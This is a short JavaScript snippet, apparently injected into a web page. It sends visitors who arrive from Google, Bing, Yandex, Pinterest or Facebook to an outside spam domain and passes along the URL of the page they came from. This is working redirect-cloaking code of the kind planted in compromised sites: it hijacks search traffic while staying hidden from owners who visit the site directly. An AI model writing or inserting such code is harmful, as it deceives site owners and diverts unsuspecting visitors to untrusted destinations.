if(document.referrer) { var cek = document.referrer; var is_se = cek.includes('.pinterest.') || cek.includes('.google.') || cek.includes('.bing.') || cek.includes('yandex.') || cek.includes('facebook.'); if(is_se) { var url = window.location.href; window.location = "http://autoinsuranceinfo.info/?arsae="+ encodeURIComponent(url); } }